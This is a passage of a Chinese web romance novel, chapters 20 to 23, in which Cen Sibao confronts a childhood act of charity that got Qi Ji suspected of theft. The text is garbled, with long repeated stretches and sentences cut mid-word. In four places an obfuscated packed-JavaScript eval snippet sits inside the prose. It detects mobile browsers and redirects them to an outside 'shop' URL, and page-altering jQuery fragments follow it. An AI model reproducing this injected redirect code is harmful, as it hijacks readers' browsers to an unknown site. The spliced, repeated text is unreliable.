“然后呢然后呢?”岑似宝急不可耐地追问:“你去找我了吗?” 完全忘了自己先前没见过祁迹这件事,好像在听别人的故事。 祁迹眼眸微动,“在转学之前,我是去找过你。” “不过你的同学说,你请了一周的假,没来学校。所以我把钱放在了信封里,然后托你的同学转交给你。” 岑似宝怔住了,“说到请假一周,我好像想起来了,但是你的信,我怎么没印象?” 祁迹淡然道:“很正常,每天找你的男生很多吧,当时我说出你的名字的时候,你的同学第一句话就是:又有男生找岑似宝告白了?” “我说要托他转交东西,他也以为是封告白信。” 听着他平淡似水的语气,岑似宝凑上前,仔细看他神情变化,直接问:“你是不是也吃醋了呀?” 祁迹讶异:“不明显吗?” “我收到的信确实很多,都是要跟我交朋友的,我都拒绝了。”岑似宝跺了跺脚,“但是我发誓,我回学校的时候,真的没有收到一封装着钱的信。” “你送的信封是什么颜色的?”岑似宝不死心地问,企图重新在回忆的犄角旮旯里翻找一下。 “白色,信封是空白的。” 岑似宝两手一摊,无语:“空白信封是没有,空白试卷倒是一大堆。” 祁迹拍了拍她的头,“或许,那封信也被风吹掉,到了某个缝隙里。” 岑似宝却满脸沮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148448|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧,“真的好可惜啊,要是我当时就看到了……” 怎么会这么巧呢?刚刚好在那时她请假了,刚刚好在那时他转学了。 他们的人生有了意外的交集,却最终还是错过了。 “要是看到了会怎么样?”祁迹突然反问。 岑似宝一时语塞。 是啊,即使看到了又能怎样呢? 此时他已经转学了,下一次见面是多年以后,在此之前,他们不会再有接触。 收到了钱,她大概也只会遗憾,还是没能帮到他,也会遗憾,他还是没有融入集体。 但是没有看到信,她偶尔想起来的时候,也只会朝着美好的方向想。 祁迹笑了笑,“没有收到,也挺好的。” 岑似宝想了想,“你就没有一丝一毫的怪我吗?你说实话我也不会生气的,哪怕是我自己想起来,也觉得当时的我确实很蠢。” 祁迹回答得很干脆:“没有,也没必要。最多,只是觉得有些好笑。” 说完,他收起了笑容,“我知道你的本意是好的,找你时也想跟你说声谢谢。所以,现在也无需为我难过。” 岑似宝用力抱住了他,“不告诉我,是怕我自责吧?我也谢谢你。” 祁迹任她抱了一会儿,才说:“只有这些?” 岑似宝想了想,有些不好意思,但是坚定地补充:“还有就是,我今天才发现,我比自己想象的还要喜欢你。” 祁迹被这句话重重取悦到,难忍笑意,却还是摇头,“我说的不是这个。” 岑似宝抬起脸,不解道:“那你要听的是什么?” 祁迹摸了摸她娇嫩的眼角,低下了声音,显得有些严肃:“你因为我的事心情不好,可我却是通过你哥才知道的。” “一整个下午联系不到你,短信里,你还装作若无其事。真的出去跟同学聚会了吗?那是借口吧?是不是哭了一下午?” “我承认,确实骗你了。”岑似宝将脸压在他胸前,用力摇了摇,避开哭泣的话题,“那是因为我刚听说,有点懵,也不知道该怎么面对你,下意识不敢见你。” 祁迹耐心听着,沉声说:“发生任何事,你都可以直接来找我要答案。我不希望我们之间有任何误会,也不愿意看到你一个人忍着。” 岑似宝嗅着他身上好闻的气息,一阵心安,“我知道了,以后再有问题,我第一时间找你。” 两人说开了,岑似宝也彻底轻松了。 抱了一会儿,她依依不舍地起身,看了眼时间,“已经好晚了,我得回家了。” 她是悄悄跑出来的,还得再悄悄溜回去。 岑似宝要把围巾解下来还给他,被祁迹抓着手,又围了回去。 他将她凌乱的发丝理顺,“不用给我了,回去吧。” 说完随意抬眼,目光倏然定格了。 岑似宝将围巾松松地打了个结,心情愉快地抬头跟他道别,注意到他的视线,脱口而出:“你在看什么?” 话音落下,内心突然升起了一种不祥的预感。 岑似宝在内心祈求,她做了那么多善事,苍天有眼,保佑她,千万不要是她想的那样…… 接着,她缓缓转过头。 岑衡正站在门口,看着两人。 苍天是有眼,但长到岑衡身上了。 20.第 20 章 校庆圆满进行,岑似宝却全程心不在焉。 她的记忆不断回溯,直到在角落里,来到了校运会前夕,也是彭小安说的:“有天,我看到你急匆匆回到班里,从钱包里拿了两百块钱就跑。” 岑似宝模糊地记起了这件事。 那天课间,她跑到高中部找岑衡,他正在操场跟人打球,于是她在旁边坐着等。 她隐约听到旁边有人说起班上为了运动会开幕式买班服的事,所有学生都举手通过了,只有一个转校生拒绝了。 他说他不买班服,即使不参加开幕式也没关系。 岑似宝的心理活动和与之聊天的另一个学生一样:“当众说的?为什么啊,那多不合群啊?本来就是插班生了。” “因为没钱呗。”男生轻飘飘说了句。 “不是吧,你们选的班服多少钱啊,这都交不起?” “不贵,也就一百多块,别说班服了,哪怕是平时的资料费,大家都交,就他不交,人家直接借了书,靠手抄。” “那么厚的一沓习题啊,我也是服了,不知道哪来的耐心,估计这会儿就在教室里手抄呢。” 男生话音一转,“不过虽然不合群,但他人还挺不错的,上回我航模电机坏了,他想借,我觉得没用了就说送他了,但他后来居然修好了,又还给我了。” “这回运动会,有几个最累的、没人报的项目,最后也是他给揽下了。” 另一人说:“他家很穷吗?” “之前我有次路过老师办公室的时候听到了一点,老师都没见过他家长。他走读的,好像是借住在亲戚家,应该是不太熟的亲戚,家长会也从来没有人给他开,都是他自己……” 男生说着说着就停了下来,突然发现旁边有一道纤细的身影在看着他们。 他望过去,那是个漂亮的女生,还未长开的脸带着点婴儿肥,可是此刻,她的表情就像是被雨淋湿了的小狗。 他有些慌乱地与同伴对视了一眼,不明白她为什么这么看着这边,一时又觉得她有点眼熟。 直到前方场上另一个男生朝着她走去,一双明亮的眼睛在看清她的脸时,骤然犀利了起来:“怎么哭了?” 他们都认出来了,那是一班的岑衡,年级第一。 从他的话中,他们也记起来了,这个女生应该就是他妹妹,初中部的岑似宝,因为包揽了期初考试的各科第一而出了名。 见他充满敌意的目光朝他们扫射过来,意识到他可能以为是他们将他的宝贝妹妹惹哭了,两人同时不安起来。 虽然看起来好像确实是他们将她惹哭了。 真冤。 好在岑似宝及时拉住了他,揉了揉眼睛,“哥哥,我没事,就是突然想起昨天看的电视剧了。” 随后岑衡将她带回了自己班。 教学楼一层有三个班,岑衡的一班在走廊的尽头,路过另一端的三班的时候,她在后门处随意朝里面望了眼。 刚才那两个男生,说的好像就是三班。 她一眼就看到,空荡的教室里,最角落坐着的男生。 肩线宽阔,却也薄,肩胛骨在校服之下收拢着,阳光从窗口落下,落下细腻的阴影。 一阵风吹来,将校服紧贴在笔挺着的脊背上,中央一条直直的骨线就这么浅浅地顶出来。 岑似宝不自觉停下了脚步。 男生的袖子有些短了,露出一截清瘦的腕骨,正随着书写的动作微微动着。 应该就是他了。 既然愿意参加运动会,那他应该并不是真的不合群吧。 如果不参加开幕式,当别人热热闹闹地彩排,为了集体的记忆与荣誉而欢呼雀跃的时候,他独自在一旁,就又一次成为了一个不合群的异类。 会有落差感吧? 前方,岑衡不解地回头:“怎么了?” 岑似宝突然抬头,“哥我突然想起来还有件事,我先回去了!” 说完在岑衡困惑的目光中转头就跑,一路跑回了初中部。 她打开钱包,抽取了两张纸币,没有停歇就又气喘吁吁地扭头跑了回去。 到三班的教室门口时,她跑得肺都快要炸了。 此时,教室里没人,那个男生不知道去哪里了。 岑似宝来到了他的座位边上,看到了一叠手写题目的纸张,字迹没有凌乱,整整齐齐,力透纸背。 她将钱夹在了纸张之间,合上,随后便悄悄离去了。 她想,当他看见这突然出现的钱,一定会很高兴。 她好像看多了侠义云天的电视剧,就以为自己也能帮到所有人了。 现在想来,她真是个自大的笨蛋。 在那之后,岑似宝就将这件事抛在了脑后,直至今天,又被彭小安唤起。 她并没有看清那个男生的长相,也不知道他的名字。 可是姓祁……岑似宝难以自抑地想到了祁迹。 从大礼堂出来,与曾经教过她的高中数学老师碰面,聊起了老师曾经的学生。 很巧的是,这个老师同时教过她和岑衡与岑量。 “你们岑家的三个小孩,数学都很好,性格也好,都很让老师省心。”数学老师笑眯眯说。 在他接着罗列出来的人中,岑似宝听到了祁迹的名字。 “我对他印象也很深,他是中途转学来的,聪明,追分快,要不是偏科,总成绩能跟你哥争一争第一。” 岑似宝小心翼翼地问:“老师,他是几班的啊?” 数学老师回忆了一下,说:“三班的。” 岑似宝的心坠了一半,“那他们班上,还有别的姓祁的人吗?” 老师对这个问题有些奇怪,不过还是想了想,笃定道:“没有了,你哥那一届,就他一个姓祁的。” 岑似宝缓缓垂下了头。 “怎么了?不舒服吗?”老师问。 岑似宝摇摇头,“没事。” 手机里,祁迹发来了消息,问她校庆有没有结束。 她没有立刻回复。 原来她曾经那样间接伤害过祁迹。 那一天,在她将钱留下后不久,大课间结束,所有学生回到了班级。 趁着上课前的一点时间,班长招呼大家把班服的钱交上来。 这与祁迹无关,他淡然地继续抄写剩下的一点题目。 身旁,同桌翻着课桌,直到班长来到桌边,他才抬眼,急促道:“我带来的二百块钱不见了。” “你别急,慢慢找。”班长安抚。 “我确定下去做操之前就放在桌肚里的。” 班长声音抬高,对着其他人喊道:“大家快都看看地上,有没有多出钱来?” 周围人都很配合地看了看。 “不知道啊。” “没看见。” “我这儿也没有。” “不会是被谁拿了吧?” 与此同时,祁迹也正好翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车开到校门口,下车后他环视了一圈,见到了坐在花坛边的岑似宝。 她垂着头,一动不动。 漂亮的裙子染上了花坛边的灰土,早上分别前戴着的胸针也不见了。 今天天气晴朗,她周遭却好像刚刚侵袭了一场倾盆暴雨。 岑衡顿了顿,走上前,掌心在她肩上按了一下,接着伸出温暖的手背,丈量着她脸颊的温度。 触及冰凉一片,湿漉漉的。 她的眼底下着小雨,雨点滴滴落到他的手背上。 那一瞬间,岑衡想起小的时候。 他去上学,还没到学龄的妹妹哭得撕心裂肺,不让哥哥走。 被哥哥故意吃掉了香蕉,她也会大声哭。 真哭、假哭,伤心的哭、装可怜的哭,岑衡的成长围绕着妹妹,妹妹也总是绕着他,谁也离不开谁。 直到现在,岑衡才突然意识到,他的妹妹也会为了别人而哭了。 这实在不是什么好受的感觉。 岑似宝没有去看,也知道来的人是哥哥。 她抬起脸,埋进了哥哥的肩膀,声音也一并埋了进去。 “哥哥,我是不是,其实挺差劲的?” 21.第 21 章 对于岑似宝来说,虽然在长大的途中交了很多知心朋友,也有着许许多多的挚爱亲人,但是此刻,好像只有陪伴长大的哥哥可以让她放心地宣泄情绪了。 岑衡感受到肩头滚烫的湿意,心口也若有似无地揪紧。 他倾身帮她挡住了另一个方向吹来的风,才询问:“发生什么事了?告诉我。” 岑似宝的声音因为哽咽而变得不那么清晰,断断续续说:“哥哥,我一直觉得,所有人都会喜欢我。” “可是原来,也有人曾经讨厌我。” “我一直以为我帮别人,是好事,可原来是我自作多情。我的帮忙,反倒害了无辜的人被误解……” 即使那个因为她而被误解的人不是祁迹,是其他人,她也会难过,会愧疚,会后悔。 只是当那个人是他时,这种情绪就翻着倍地涌上来,夹杂着心疼,将她深深吞没。 初见时,少年给她留下孤零零的背影。直至成年,那个挺直的背影才转过了身,面向了她,让她看清。 而成年的祁迹,好像从来没有让她见过自己的背影,两人分别时,永远是他看着她离开。 她从未像此刻一般,清晰地看出祁迹对她的喜爱。 可他越是好,她就越是对那件事感到愧疚。 少年时的他,应该是个自尊心很强的人吧。 而在愧疚的情绪之后,紧接着席卷来的浪潮便是慌乱。 她在想,祁迹知道这件事吗? 如果他现在知道了,是不是会对她失望呢? 岑衡听清了她的呜咽,温热的手掌拂在她头上,“谁说你差劲了?” 岑似宝只是不住地摇头。 岑衡轻叹一声,一贯冷硬的语气温柔了下来,突然提起:“还记得你第一天去上幼儿园吗?” 岑似宝的思绪随之稍稍停滞,下意识开始回想。 但是,好像并没有多么特别,她想不起来了。 岑衡说:“那天,家里人都做好了你要哭闹的准备,结果你很乖地就进去了,像个小大人。” “我跟岑量已经上小学了,有身为哥哥的觉悟,总是提心吊胆,担心你会不适应,于是故意逃了课,偷偷跑到了你幼儿园去看你。” “当时你们班在上户外活动课,你被很多小朋友围在中间,我们以为你被欺负,想进去,谁知紧接着就听到,你大声地叫旁边的女孩去推另一个小朋友。” 听得岑似宝更难过了,泪水又翻涌而出:“什么啊,我小的时候这么坏吗?” 岑衡擦着她的眼泪,“怎么这么想自己?” “后来我们听明白了,是另一个小朋友先推了那个女孩一下,被你发现了,所以你才叫她推回去。” “不过那个女孩胆子好像很小,看了眼老师,说她不敢。” 岑衡的嘴角微微上扬,“然后你就跟她说,你会看着老师的,让她放心大胆地推。” “但是当时老师刚好朝你们走过去了,我们就看到你一下子冲了出去,死死抱着老师的腿,不让她动,嘴里喊着‘我帮你抓住老师了,你快点推!’” 岑衡音调放轻,故意模仿着那时小小的岑似宝的语气。 岑似宝笑了一下。 “估计是看你那么努力,不忍心辜负,那个小女孩终于还是鼓起勇气,轻轻地推回去了。” “你这才松开老师,又跑到那个哭起来的小朋友面前,跟他说,要是再有下次,你不仅要叫受害者推回去,连你也要推。” “还有班上的每个小朋友都推。” “门口的保安叔叔也推。” “还要叫你那两个上小学的、推人特别疼的哥哥也推。” “把他推到西伯利亚去。” “老师走到跟前,不知道发生了什么,先安抚他别哭,你又恶狠狠加了一句:老师,也得推。” 从小就是恶女的岑似宝羞赧地吸了吸鼻子。 “担心你因此被针对,我们后来有很长一段时间都偷偷过去看你。” “不过,你还真是意外地受欢迎,包括那个推人的小朋友,最后都成了你的跟班。” 岑衡的目光沉静而包容,拂开她额前被泪水打湿的头发,“那时我们刚好去了那里,又刚好看见了那一幕,要不是了解了前因后果,恐怕也得以为你和那个小女孩是在欺负人了。” “如果我们误会了你,那是谁的错?你的错吗?” 岑似宝一愣,接着摇摇头,哑声说:“我不知道。” “那如果一开始知道会被误解,你还会帮别人吗?” 岑似宝默然了一瞬,随即说:“会吧,不过,可能会换一种方式。” “这就够了。” 岑似宝抬头,望向他眼底,“哥哥,谢谢你。” 岑衡按了按她的头,随即换了个语气,“你说的那个,因为你而被误解的人,是个男生?” 岑似宝下意识点了下头。 “你今天遇见他了?” 岑似宝一顿,摇头。 “哦。”岑衡语气平平,“我还以为,那个人是你喜欢的人,所以你哭得这么伤心。” 平静的话语中,好像蕴含着巨大的力量。 岑似宝的目光一滞,没有动作。 岑衡移开视线,笑了笑,“如果有了喜欢的人,别忘了告诉哥哥。” “好。”岑似宝小声说了个字。 岑衡起身,“饿不饿,午餐是不是也没吃好?” 随即他便将岑似宝带上了车。 没过多久,岑似宝的手机响了,来电是分店的店长。 离开之前,店里的人都知道了她的真实身份,又是震惊又是激动。 从现实的角度想,也庆幸自己与她的关系保持得不错。 店长的语气有点高兴:“小岑,那位廖小姐来了,现在就在店里。” 岑似宝反应了一会儿,店长接着说:“就是那个那个,‘阿斯巴甜’的前未婚妻。” 岑似宝这才想起来对方是谁,“她去店里做什么?” “她是来找你的,不过你现在已经不在店里上班了嘛。” 那头窸窸窣窣一阵,“你等会儿,我把手机给她,让她直接跟你讲。” “你好。”另一道轻柔的女声响起。 “我是特意过来感谢你的,可惜你不在。” 岑似宝眉宇松了松,“没关系,不用谢我的,换作别人也不可能答应他的要求,那是违反公司规定的。” “不是这样的。” “如果你是息事宁人的性格,或者是害怕遭到报复,亦或是担心会影响店铺,只是拒绝了他,没有当场挑破,那我恐怕还被瞒在鼓里,而当时我们就要领证了。你实打实帮了我。” “当然,即使你没有那么做,我也完全可以理解,只是,你偏偏做了。在领证之前遇到你,认清了他的人品,是我的幸运,怎么不值得感谢呢?” 岑似宝轻声说:“你们现在彻底分开了吧?” “嗯,关系的分割花了点时间,所以现在才来找你道谢。” 是个值得高兴的消息,岑似宝笑了笑,“那就好。” 对面接着说:“我后来才知道,他居然还瞒着我在外面借了贷,突然全被债主站出来曝光了,工作也丢了,身边人都知道他是什么德行,也免得他再祸害别家姑娘了,都是因为你当时仗义执言啊。” 挂了电话,岑似宝的心情终于好了些。 她看了眼岑衡,“哥,那个男的债主的事,是你弄的吗?” 岑衡摇了摇头,“还没来得及。” 岑似宝心头一动,脑海里闪过一道人影。 办公室里,祁迹看向手机。 岑似宝一直没有消息。 他皱起眉,给她打去了电话。 岑似宝看了眼来电显示,下意识望向旁边开着车的岑衡,手机仿佛烫手一般差点握不住。 与此同时,那种五味杂陈的难受也再度占据了心神,无法面对的慌乱让她下意识按了挂机键。 祁迹定定地听着耳边的机械提示音。 过了一会儿,他收到了岑似宝发来的消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197111|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有短短一行字:“有我哥接我回家了,不用过来了。” 两人到家的时候,岑量也刚好回来。 平时岑衡和岑量都住在自己的房子里,如今岑似宝在家里住,两人回来得才勤快了些。 岑量一眼就看见了她通红的双眼,走过去,低着头去看她:“怎么了?去校庆,碰见以前的仇人了?” “什么啊。”岑似宝别过脸去,“别瞎猜了,就是刚才,突然有一点点感怀,现在已经没事了。” 岑量又皱眉看向岑衡,他只是将外套一脱,随手丢给他,“她不想说,就别问。” 岑量没好气地冷笑一声,夹着丝做作的哀怨:“还有什么我不能知道的小秘密?是,终究比不过你俩是亲兄妹,隔着的那层薄薄血缘其实是道天堑,是我妄想了。” 岑似宝被他表情逗笑了,推着他朝前走。 岑衡望着两人交流起来,看了眼手机,先找厨师交待了几句,才走到了外头,接起电话。 “祁迹,有事?” 祁迹顿了顿。 准备好的话在口头萦绕,最后却只是说:“新买了副球拍,磅数拉高了,去试试吗?” 岑衡拒绝:“今天不出去,在家陪我妹。” “她怎么了?”祁迹语气寻常。 岑衡不愿在别人面前多说,只回:“她心情不好。” 吃了点东西,哭完的疲惫感涌上心头,岑似宝跟哥哥说了两句,就回了卧室。 纷乱的思绪在疲惫面前暂时清空,她倒头就睡。 等再度醒来时,窗帘的缝隙中,天色已经彻底黑了下来。 她坐了起来,思维滞后,适应了两秒,打开床头灯,看了眼时间。 已经过晚饭的时间了,不过家人都体贴地没有过来打扰她。 视线在手机上逐渐下移,岑似宝的眼睛一下子瞪大了。 屏幕上显示着数条未接来电,还有消息,都是来自祁迹。 她立刻下床去了窗边,果然看见了那辆车,依旧在那个位置。 车边停驻的颀长身影似乎正在凝望着她的窗户,不知道在风里站了多久了。 他一定以为,她是故意不接他电话的。 岑似宝心中一颤。 旋即她冲到门口,手指在门把手上停了两秒,最后还是摁了下去。 鸵鸟不可能一直当下去,总归要跟他说清楚的。 也是一定要跟他道歉的。 不管他会怎么想,对她是失望,还是愤怒,她都得接受。 路灯下,纤细的身影奔向了祁迹,穿着拖鞋,有些踉跄。 在距离他两米的地方,她迟疑着停住了脚步。 祁迹刚抬起的手一滞,放了下来。 岑似宝先一步出声解释:“祁迹,我回家之后就睡觉了,所以才没听到你电话,不是故意不接的。” “还有。”她低下了头,重重说了句:“对不起。” 祁迹眼底倒映着她纠紧的双手,开口:“我没有生气,不用道歉。” “不,说对不起,不是为了这个。”她声如细丝,还带着哽咽。 祁迹的眼眸缓而又缓地动了一下,“那是为了什么?” 为了……岑似宝心乱如麻,在一阵死寂中,她终于鼓足勇气,提起音量说: “你高中的时候,是不是曾经被误会过拿了同学的钱?那钱,其实是我放在你桌子上的。” “我本来以为可以帮到你,让你融入大家,可是直到今天我才知道,这件事反而给你带来了麻烦。” “对不起,都怪我。”岑似宝的眼中闪着泪花,全程低着头,不敢去看他的表情。 祁迹沉默了几秒,攥着的手指渐渐松开。 接着他后退一步,肩背绷紧的力道一撤,就这么倚着车门站定。 仿佛高高吊起等待审判的犯人被突然间松开了绳子,他笑了一声,“只是这样?” 岑似宝茫然地抬头,看到了他微扬的脸,还有嘴角浅淡的笑。 “我还以为,是你又打算抛弃我了。” 22.第 22 章 岑似宝呆呆地看着祁迹。 他刚才竟然说,只是这样? 他好像满不在乎。 这完全超出了岑似宝预设的反应。 “知道事情因我而起,你不惊讶吗?不怪我吗?你不觉得失望吗?你不生气吗?” 她急急地连声问出了一串问题,眼底光华闪动。 祁迹从车里拿出一条围巾,有条不紊将她一圈圈包住,随即才去想她的问题。 并没有岑似宝想象中的为难纠结,他保持着平静,说:“我早就知道了。” 这句话又将岑似宝瞬间定在原地,她艰难地从温暖的围巾中抬脸,喃喃:“早就知道?” 祁迹弯腰,望向她,肯定道:“嗯,高中的时候就知道是你了。” 说完将岑似宝拉入怀里,“所以,没什么好惊讶的。” 岑似宝趴在他胸前,冲击之下反倒眼含热泪:“祁迹,你不会是为了报复我才跟我在一起的吧?好多男主向的复仇小说就这么写的,先偷偷转移我家的财产,再把我抛弃。” 祁迹:“……” 他用力握了握她的肩头,垂眸看她:“担心这个,等我们结婚,你可以列出婚前协议,什么条件我都答应。” 岑似宝赶紧改口:“我胡说的。可是既然知道这件事,那你怎么不早告诉我?” 祁迹有些自嘲地笑了笑,“你恐怕早就忘了那件事,提起来做什么?更何况,要是告诉你,你也会像今天这样哭起来吧?” 岑似宝的头埋地更深了,有些不敢问,但还是无法忽视:“那,你后来突然转学,是因为被冤枉的事吗?” 祁迹摇了摇头,“怎么可能。只是家里人的工作变动。” 岑似宝稍稍松了口气,至少比她想象的众叛亲离,不得不远走他乡要好一点。 她又问:“那你后来证明自己的清白了吗?还有,你那时有没有一瞬间觉得,是有人在故意陷害你啊?” 祁迹歪了歪头,“你是不是以为,上学时候的我,是个会被人欺负的可怜虫?” 岑似宝嘴上嘟囔:“我可没有这么说啊。” 但她确实是这么想的。 祁迹少年时期贫穷孤寂的背影,还有从他同学口中所听说的,与班上其他人格格不入、无法融入集体的形象在她心中挥之不去。 正是因此,她才会如此自责。 又想起追求他的时候,也被他视为追杀。 难道她是克他吗? 祁迹看她陷在回忆中,头低得好像快要遁入地下的模样,眼中闪过笑意,干脆蹲了下来,仰起头,与她视线相对。 他扬起眉:“道听途说,也不听个完整点的版本?” 岑似宝可怜兮兮地看着他。 祁迹回忆了一下,“在看见我书里夹着的钱的时候,他们确实怀疑过我,毕竟有一段时间,班里只有我一个人在。” 岑似宝紧张起来,担心听到他被千夫所指。 祁迹平铺直叙:“我立刻问了他,他的钱是怎么放的。” “他描述了一下,是叠在一起,折了两折,放在桌内边缘,而你夹在我书里的钱,毫无折痕。从这一点来看,就可以判断出那不是他的钱。” “当然,这还是不能完全排除我的嫌疑。” “不过后来我想起,课间的时候窗户没关,曾经有风吹进来。根据风向推测,最后在对角墙边跟课桌的缝隙里找到了他的钱。” 岑似宝一愣,“就这么简单?” 祁迹起身,拍了拍她的头,“你还想有多复杂,拍出一集电视剧?” 一中的学生大都家境不错,没有人会为了区区两百块钱突破底线。 只是岑似宝还是有些后怕,万一那钱被风吹到了更隐蔽的地方,一时找不到呢? 那样说不准,祁迹还是要背着一份污名。 现在祁迹三言两语说得轻松,但当时的情况一定不是那么简单。 毕竟,事情都传到了外班的学生耳朵里了,那时,他的嫌疑还没有洗清,一定也背负了很大的压力。 岑似宝依然愧疚,不过好在最终结果是好的,少年时的祁迹也有着不逊于成年时的冷静,和解决事情的能力。 她心头最大的石头卸了下来。 随即好奇地抬脸问:“那你又是怎么知道是我放的钱?” 祁迹将随着她的动作垂落的围巾重新搭上去,语中带笑:“正如你所说,起初,我以为是有人故意陷害我。” 岑似宝也忍不住笑了。 “不管是好心还是坏心,我都不想收下来路不明的钱,所以去找了老师,由老师出面,调了监控。教室里虽然没有监控,但是走廊里装了。” 祁迹敲了一下她的脑门,“监控清清楚楚地拍到了一个揣着钱,偷偷摸摸走进教室的小朋友。” “谁偷偷摸摸了?”岑似宝捂着脑门回想,当时她肯定是正大光明进去的,因为觉得自己在做好事,非常伟大。 祁迹接着说:“监控室的保安认识你,说你每天上下学都会热情地跟门口的保安打招呼,他们都跟你熟,说出了你的名字和班级。” 说到这里,祁迹停了下来。 “然后呢然后呢?”岑似宝急不可耐地追问:“你去找我了吗?” 完全忘了自己先前没见过祁迹这件事,好像在听别人的故事。 祁迹眼眸微动,“在转学之前,我是去找过你。” “不过你的同学说,你请了一周的假,没来学校。所以我把钱放在了信封里,然后托你的同学转交给你。” 岑似宝怔住了,“说到请假一周,我好像想起来了,但是你的信,我怎么没印象?” 祁迹淡然道:“很正常,每天找你的男生很多吧,当时我说出你的名字的时候,你的同学第一句话就是:又有男生找岑似宝告白了?” “我说要托他转交东西,他也以为是封告白信。” 听着他平淡似水的语气,岑似宝凑上前,仔细看他神情变化,直接问:“你是不是也吃醋了呀?” 祁迹讶异:“不明显吗?” “我收到的信确实很多,都是要跟我交朋友的,我都拒绝了。”岑似宝跺了跺脚,“但是我发誓,我回学校的时候,真的没有收到一封装着钱的信。” “你送的信封是什么颜色的?”岑似宝不死心地问,企图重新在回忆的犄角旮旯里翻找一下。 “白色,信封是空白的。” 岑似宝两手一摊,无语:“空白信封是没有,空白试卷倒是一大堆。” 祁迹拍了拍她的头,“或许,那封信也被风吹掉,到了某个缝隙里。” 岑似宝却满脸沮丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197112|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“真的好可惜啊,要是我当时就看到了……” 怎么会这么巧呢?刚刚好在那时她请假了,刚刚好在那时他转学了。 他们的人生有了意外的交集,却最终还是错过了。 “要是看到了会怎么样?”祁迹突然反问。 岑似宝一时语塞。 是啊,即使看到了又能怎样呢? 此时他已经转学了,下一次见面是多年以后,在此之前,他们不会再有接触。 收到了钱,她大概也只会遗憾,还是没能帮到他,也会遗憾,他还是没有融入集体。 但是没有看到信,她偶尔想起来的时候,也只会朝着美好的方向想。 祁迹笑了笑,“没有收到,也挺好的。” 岑似宝想了想,“你就没有一丝一毫的怪我吗?你说实话我也不会生气的,哪怕是我自己想起来,也觉得当时的我确实很蠢。” 祁迹回答得很干脆:“没有,也没必要。最多,只是觉得有些好笑。” 说完,他收起了笑容,“我知道你的本意是好的,找你时也想跟你说声谢谢。所以,现在也无需为我难过。” 岑似宝用力抱住了他,“不告诉我,是怕我自责吧?我也谢谢你。” 祁迹任她抱了一会儿,才说:“只有这些?” 岑似宝想了想,有些不好意思,但是坚定地补充:“还有就是,我今天才发现,我比自己想象的还要喜欢你。” 祁迹被这句话重重取悦到,难忍笑意,却还是摇头,“我说的不是这个。” 岑似宝抬起脸,不解道:“那你要听的是什么?” 祁迹摸了摸她娇嫩的眼角,低下了声音,显得有些严肃:“你因为我的事心情不好,可我却是通过你哥才知道的。” “一整个下午联系不到你,短信里,你还装作若无其事。真的出去跟同学聚会了吗?那是借口吧?是不是哭了一下午?” “我承认,确实骗你了。”岑似宝将脸压在他胸前,用力摇了摇,避开哭泣的话题,“那是因为我刚听说,有点懵,也不知道该怎么面对你,下意识不敢见你。” 祁迹耐心听着,沉声说:“发生任何事,你都可以直接来找我要答案。我不希望我们之间有任何误会,也不愿意看到你一个人忍着。” 岑似宝嗅着他身上好闻的气息,一阵心安,“我知道了,以后再有问题,我第一时间找你。” 两人说开了,岑似宝也彻底轻松了。 抱了一会儿,她依依不舍地起身,看了眼时间,“已经好晚了,我得回家了。” 她是悄悄跑出来的,还得再悄悄溜回去。 岑似宝要把围巾解下来还给他,被祁迹抓着手,又围了回去。 他将她凌乱的发丝理顺,“不用给我了,回去吧。” 说完随意抬眼,目光倏然定格了。 岑似宝将围巾松松地打了个结,心情愉快地抬头跟他道别,注意到他的视线,脱口而出:“你在看什么?” 话音落下,内心突然升起了一种不祥的预感。 岑似宝在内心祈求,她做了那么多善事,苍天有眼,保佑她,千万不要是她想的那样…… 接着,她缓缓转过头。 岑衡正站在门口,看着两人。 苍天是有眼,但长到岑衡身上了。 23.第 23 章 门边一道阴影投在岑衡的脸上,看不清他的表情。 但是岑似宝的视线,却根本不敢与之相对。 她徐徐看向祁迹,嗓音颤抖:“你知道,我哥他站那儿多久了吗?” “不知道,不过,”祁迹沉吟了一下,“从他的站姿,以及气场来看,很可能从你出来之后,他就跟着出来了。” “……你别分析了,好可怕。” 就在这时,岑衡动了。 他一步步走出阴影,朝着两人走了过来。 路灯将他的面容照得清晰,并不算阴沉,看起来与平时没什么区别。 